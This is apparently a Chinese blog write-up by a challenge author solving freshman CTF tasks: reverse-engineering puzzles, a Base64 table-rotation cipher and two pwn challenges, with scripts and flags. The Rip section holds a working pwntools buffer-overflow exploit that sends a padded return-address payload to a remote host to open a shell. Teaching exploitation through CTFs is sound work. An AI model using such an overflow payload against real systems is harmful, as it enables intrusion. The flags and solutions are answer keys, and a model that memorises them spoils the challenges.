新生赛,担任出题给新生们出点题玩玩,没想到惨不忍睹,只能可劲放hint,深怕他们们解不出来。

0x00 Reverse

所有我出的题,我尽量给出双解(IDA和OD),不是我出的就不要在我这里看了奥

0x01 Luck

IDA

先看mian函数,game函数和flagshow函数

然后看game函数

在函数结尾的时候有一个设置随机数种子,很可疑,暂时记下。0x2918 = 10520。再看flagshow函数:

所以flag是取伪随机数xor v2来的,v2则是n1数组的元素。

{% note primary %}

什么是xor?

xor:异或,相异得一,相同得零。例如:1 ^ 1 = 0;1 ^ 0 = 1;0 ^ 0 = 0

程序中xor操作过程是按位进行的。先将操作数转换为二进制数,再进行按位异或。例如:23 ^ 45

23 = 0001 0111 45 = 0010 1101 => 23 ^ 45 = 0011 1010 = 58

因为xor的特性,所以有:若a^b=c,则c^b=a;c^a=b。

详细的查看{% btn https://baike.baidu.com/item/异或/10993677?fromtitle=xor&fromid=64178&fr=aladdin, 百度百科, XOR %}

{% endnote %}

找到n1数组,提取出来

{% note primary %}

这里可以右键转换为数组再通过Shift+E提取,可以快速提取到值

{% endnote %}

前面是4个数有三个都是0,因为int是4字节的,而这里把它一个字节一个字节解析的,所以宽度设置为4。得到数据:

再用notepad替换0为空即可。写出exp即可。

#include<stdio.h>
#include<stdlib.h>

int main()
{
	int decode[] = {0x7F,0x5B,0x4A,0x5,0x64,0x1,0x66,0x65,0x66,0x5B,0x4A,0x20,0x51,0x4F,0x39,0x1,0x41,0x6B,0x5F,0x7E,0x73,0x7A,0x57,0x5A,0x0E,0x11,0x6F,0x0,};
	srand(10520);
	for(int i=0;decode[i];i++)
	{
		printf("%c",decode[i] ^ (rand()%100+1));
	}
	
	return 0;
}

//flag{1uck_g4y_n0t_n55d_x0r}

OD

在main函数和flagshow函数有两次判断,只要一次猜出来就可以得到flag,我们直接nop掉两次跳转或者改变跳转地址即可

先找到判断1,下断:

再找到跳转2,下断(搜索字符串就不教了奥):

直接运行,猜出数字到断点处:

nop掉jz跳转,进入第二个call(F7):

这里je跳转箭头内的全部nop,目的是不执行retn,push ebx要留下,这里截图错了。

进入循环后再用F8比较浪费时间,可以直接F4到函数快结尾处,不会的下断点在最后一个call,然后再F8一下,就看到程序框内的flag了。

other

用CE应该也是可以的,每猜一次搜索次数嘛,还是很简单。难就难在程序结束了没有滞留,黑框就没了,这种情况应该怎么搞呢?自己去探索吧~

0x02 EasyRe

IDA

这个源码还是很简单了,太长就不截图了,直接复制吧

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char v4; // cl
  int v5; // eax
  char v6; // al
  int v7; // edx
  char v8; // al
  signed int v9; // edx
  char flag[256]; // [esp+0h] [ebp-138h]
  char third[12]; // [esp+100h] [ebp-38h]
  char second[11]; // [esp+10Ch] [ebp-2Ch]
  char zero[8]; // [esp+118h] [ebp-20h]
  char first[7]; // [esp+120h] [ebp-18h]
  char flag_0[9]; // [esp+128h] [ebp-10h]
  char v17; // [esp+132h] [ebp-6h]

  printf("PLZ input your flag:\n");
  scanf_s("%s", flag);
  if ( strlen(flag) != 37 )                     // flag长度为27
  {
    printf("the len of flag is wrong,sorry\n");
    _exit(0);
  }
  if ( flag[7] != '_' || flag[14] != '_' || flag[25] != '_' )
  {                                             // 第8、15、26位为‘_’
    printf("something is wrong~try again\n");
    _exit(0);
  }
  *zero = 0;
  *&zero[2] = 0;
  *&zero[6] = 0;
  _strncpy_s(zero, 8u, flag, 7u);
  flag_0[8] = 0;
  strcpy(flag_0, "welcome");                    // 第一部分:welcome
  v3 = strcmp(flag_0, zero);
  if ( v3 )
    v3 = -(v3 < 0) | 1;
  if ( v3 )
  {
    _puts(zero);
    printf("you are wrong, sorry.\n");
    _exit(1);
  }
  *first = 0;
  *&first[2] = 0;
  first[6] = 0;
  _strncpy_s(first, 7u, &flag[8], 6u);
  *&flag_0[4] = 'xudc';                         // 按R转为字符串
  *&flag_0[8] = 'bw';                       // 是数转过来的,为小端存储,既倒叙
  v4 = 99;                                      // 所以第二部分:cduxwb
  v17 = 0;
  v5 = 0;
  do
  {
    if ( first[v5] != v4 )
    {
      _puts(first);
      printf("It's close. Come on!\n");
      _exit(2);
    }
    v4 = flag_0[v5++ + 5];
  }
  while ( v4 );
  *second = 0;
  second[10] = 0;
  *&second[2] = 0i64;
  _strncpy_s(second, 0xBu, &flag[15], 0xAu);
  *flag_0 = *aEverythi;
  *&flag_0[8] = 'GN';
  v6 = aEverythi[0];                            // 第三部分为:EVERYTHING
  if ( aEverythi[0] )
  {
    v7 = 0;
    do
    {
      if ( second[v7] - 32 != v6 )              // flag[i] = flag_0[i] + 32
      {                                     // 大小写字母之差为32,所以真正的flag为小写
        _puts(second);
        printf("hurry up! GO GO GO!\n");
        _exit(3);
      }
      v6 = flag_0[v7++ + 1];
    }
    while ( v6 );
  }
  *third = 0;
  *&third[10] = 0;
  *&third[2] = 0i64;
  _strncpy_s(third, 0xCu, &flag[26], 0xBu);
  strcpy(flag_0, "suhxlzSUKMC");
  v8 = 's';                                     // 第四部分xor加密
  v9 = 26;
  do
  {
    if ( (v9 ^ third[v9 - 26]) != v8 )
    {
      _puts(third);
      printf("ohhhhh,a little!only a little!\t");
      _exit(4);
    }
    v8 = flag_0[v9++ - 25];
  }
  while ( v8 );
  printf("nice!Do a good jod!!!your flag:\nflag{%s}", flag);
  return 0;                                     // flag包上{}输出
}

EVERYTHING最后的NG哪来的?

xor反解脚本 Python:

flag=''
a = 'suhxlzSUKMC'
for i in range(len(a)):
	flag+= chr(ord(a[i])^(i+26))
print(flag)
	
#interesting

不会python?也行嘛,直接把代码复制过来,改一改,也能跑 C语言:

#include<stdio.h>
#include<windows.h>

long long v30 = 0x55537a6c78687573;
long long v31 = 0x434d4b;

int main(){
	
	int v8 = 115;
	int v9 = 26;
	do{
		printf("%c",(v9 ^ v8));
		v8 = *((BYTE *)&v30 + v9++ -25);
	}
	while(v8);
	return 0;
} 

所以得到全部flag,中间用 _ 连接

welcome_cduxwb_everything_interesting

OD

因为flag是输入值,OD分析效果不大。故无IDA分析解法。

0x03 Maze

IDA

先看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v3; // esi
  char v4; // dl
  char *v5; // edi
  unsigned int v6; // ecx
  char v7; // al
  char YourChoice[256]; // [esp+4h] [ebp-104h]

  welcome();
  v3 = 1;
  printf("How to out of maze?\n");
  scanf_s("%s", YourChoice);
  v4 = YourChoice[0];
  if ( YourChoice[0] )
  {
    v5 = YourChoice;
    v6 = 1;
    do
    {
      if ( v4 != 'w' && v4 != 'a' && v4 != 's' && v4 != 'd' )
      {          // 行为判断 wasd,其他输入均为错误
        printf("Error input!");
        _exit(0);
      }
      maze[v3] = '*';   // 当前位置变为*,既不允许回头
      switch ( v4 )
      {
        case 'w':      // w 按理说是向上
          v3 -= 10;    // 所以应该是10个为一排
          v6 -= 10;
          break;
        case 's':
          v3 += 10;
          v6 += 10;
          break;
        case 'a':       // a是左
          --v3;
          --v6;
          break;
        case 'd':       // d是右
          ++v3;
          ++v6;
          break;
      }
      if ( maze[v3] == '*' || v6 > 50 )
      {     // 不能走到*,不能大于50 <=> 迷宫长度为50,既10*5的矩阵
        printf("Wrong way,try again!\n");
        _exit(0);
      }
      v7 = (v5++)[1];
      v4 = v7;
    }
    while ( v7 );
  }
  if ( maze[v3] == 'n' )    // 走到终点 ‘n’
    printf("Great!You did it!get your flag:\nflag{%s}", YourChoice);
  else              // 走完所有步数才走到中间还未到终点
    printf("Emmmmmm,It's not the end");
  return 0;
}

已经清楚了,就是一个迷宫,走出迷宫就好了,所以找到迷宫,还有一个welcome函数没看

找到了迷宫是怎么来的,先提取sapceNum,之前讲过的,shift+E

写个脚本模拟一下,还是python

sN = [2, 3, 13, 14, 15, 16, 17, 27, 31, 33, 34, 35, 37, 41, 42, 43, 45, 46, 47]
maze = '*' * 50
maze = list(maze)
for i in sN:
	maze[i] = ' '

for i in range(50):		#输出
	print(maze[i],end='')
	if (i+1)%10 == 0:
		print('')			#换行
        
'''
**  ******
***     **
******* **
* *   * **
*   *   **
'''

是不是少了点什么?END呢?回到welcome函数再看,当然你看到的是数字,你点一下数字,再按R……

{% note primary %}

byte_40336D = 's';

byte_403381 = 'n';

{% endnote %}

跳转过来,其实就是maze中的位置,maze的开头是6C,6D为‘s’,既第二个就是‘s’。同理找到‘n’的位置。

得到完整迷宫

*s  ******
***     **
*n***** **
* *   * **
*   *   **

走迷宫嘛就。ddsddddsssaawaasaaww

OD

OD解可就太简单了,本来这题的考点也是OD,IDA不指望他们能分析出来。直接拖入OD,运行,然后搜索字符串

{% note primary %}

为什么要先运行再搜索字符串,一开始不行吗?肯定是不行的,至于为什么,自己探索吧~

{% endnote %}

一搜就搜出来了,放在记事本里,十个一换行,得到迷宫。直接得到答案。

{% note info %}

到这里我的题就解完了,思考一下,为什么我都是先IDA后OD,是我的习惯吗?不全是,OD调试程序,为了更准确的找到相应的位置,可以先通过IDA简单分析一下,再使用OD,可以大大提高效率。

{% endnote %}


0x10 Crypto

密码学这玩意吧,玩着听有趣的,出的人多,我就随便整了一道

0x11 Base_for

直接看python文件吧

import base64

table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = b'flag{**************}'

def myencode(S, t, T):
    t = ''.join(t).encode()
    newtable = bytes.maketrans(T, t)
    enc = base64.b64encode(S).translate(newtable)
    print(enc.decode()[:5])
    return enc
    
for i in range(len(table)):
    for j in range(len(table)-i-1): #替换base表
        if table[j] > table[j+1]:
            x = table[j]
            table[j]=table[j+1]
            table[j+1] = x
    if i % 10 == 0:
        flag = myencode(flag,table,TABLE)

flag = flag.decode()
print('\n' + flag + '\n')

#ZmxhZ
#Wmpsa
#Vqpkc
#0bFk5
#1GJGO
#/IR9F
#9oZGC

#9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno=

{% note primary %}

那么就先说一下什么是base64编码吧,你可以理解为加密。既然为加密,那肯定不是随便加密,得有密码表,这个加密的过程就很好玩,是轮换加密表。

而代码中的TABLE则是标准表,替换是根据标准表来的。

{% endnote %}

graph LR
A[标准表] --> B[替换表1] --> F[替换表2] -.->H[替换表N]
D[明文] --> EN1[加密] --> E[密文1]
B --> EN1 
F --> EN2[加密] --> C[密文2]
E --> EN2
C -.-> EN3[加密]
H -.-> EN3 --> 密文

这有点翻转加密那味了,但是还是很简单的。直接利用原来的加密程序,记录每次加密的表,再用表反向解密即可

import base64

table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
etable = []
for i in range(len(table)):
    for j in range(len(table)-i-1):
        if table[j] > table[j+1]:
            x = table[j]
            table[j]=table[j+1]
            table[j+1] = x
    if i % 10 == 0:
        etable.append(''.join(table).encode())  #加密过程改为记录表

enc = b'9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno='
#密文为最后一次完整的输出结果

for i in etable[::-1]:  #加密为正序,解密则要倒叙
    newtable = bytes.maketrans(i, TABLE)
    enc = base64.b64decode(enc.translate(newtable))
    print(enc.decode())  #输出每次解密结果
    
'''
/IR9Foxi9qksMKkr+nVKH28MGKdFFWhD/IRs9nNO9qgl+oN6C4VGG2ZNHWgfF38C9oNYGZ4M/aotK3Mr+oJOOn47EKhDPWhgBq4O/mxVBYklCGhfI4V19n84HLEqKIcrCIMqOXEpDHo=
1GJGOn+l8al7/8VL2XIjQF+O1Gx+6Z+k1/FG8XRH9YN++DBN+FdJQX2m9XF7/EZk1HAkOn+l7aZ3/a6L19+kPXB+2EMt6YJ79F6j45==
0bFk5qNlRY8W62/pUZ0oUFUp1aFN7GRFUT0YTZIr3rR1RXIp0p0k5qJiNZdW1Epn0U4F9FBRPTo=
VqpkcqFGbmx5RUtPU5ZaMpdEQ5dNR7ctVF25WUpkbn6ZbXMsUFExPQ==
WmpsaFo/dENORFZ3WDBGMFg9TXdYMpo9Yms8PQ==
ZmxhZ4tCNDVlX0F0X2MwX3Z2bn1=
flag{B45e_1s_S0_fun}
'''

{% note success %}

嗯?不会python,怎么做,在原来的脚本上,加密那行下面,输出每次的table,然后去在线网站 解啊

记住是逆着来,每次加密都输出前几位,就是为了给你们提示,手动解的时候验证是不是对的

{% endnote %}

0x20 Pwn

这也算是CTF竞赛中分数占比比较大的一部分了,但是我们没有开班,所以就弄了两道启蒙题

0x21 What's nc

nc嘛,就不多说了,太简单。直接就给了shell

知道linux指令就行,ls、cat flag级行

0x22 Rip

先下载附件IDA查看分析,main函数就这么简单,输入什么,就输出什么。

shift+F12搜索字符串看看。就得到了

有Shell函数,所以我们就像办法执行他就行。查看地址

找到了,在sueprise函数里面(应该是surprise函数,惊喜嘛,这里出题时打错了,不过不影响做题)

得到 "/bin/sh" 字段的地址,应该从哪开始执行?从0x4011B1开始。

得到这个地址了,问题是怎么执行到这个函数这来呢?main函数是安全的吗?有地方有漏洞吗,当然有,scanf("%s")是不安全的。是存在缓冲区溢出的。查看溢出所需要的长度(既V4的大小)

得到了0x30的长度,覆盖到这里就结束了吗?答案是还没有,后面还有8字节的返回地址,要覆盖到这里,所以应该是0x38.

执行exp

#!/usr/bin/env python
#coding=utf8
from pwn import *
context.log_level = 'debug'   #显示调试的信息
context.terminal = ['gnome-terminal','-x','bash','-c']   #?

local = 0 #设置是本地还是远程渗透

if local:
    p = process('./pwn1')
    #bin = ELF('./',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    p=remote('47.108.228.77',10001)
    #bin = ELF('./',checksec=False)
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    pass

bin_sh_addr = 0x4011b1
payload = b'A'*0x38 + p64(bin_sh_addr)

print(payload)

def choose2():
	p.sendline(payload)
	p.interactive()

choose2()

{% note primary %}

运行环境 :linux

什么?代码报错?先安装python库pwntools。不会使用pip自学吧,什么都喂到嘴边,那还了得。

{% endnote %}

END

说真的,这次的题,都是很简单,很好玩了,当然也不全是在课堂上讲过的,目的就是为了让你们学习,能够学到新东西,体验到比赛的快乐和解题的酣畅淋漓感。

continue……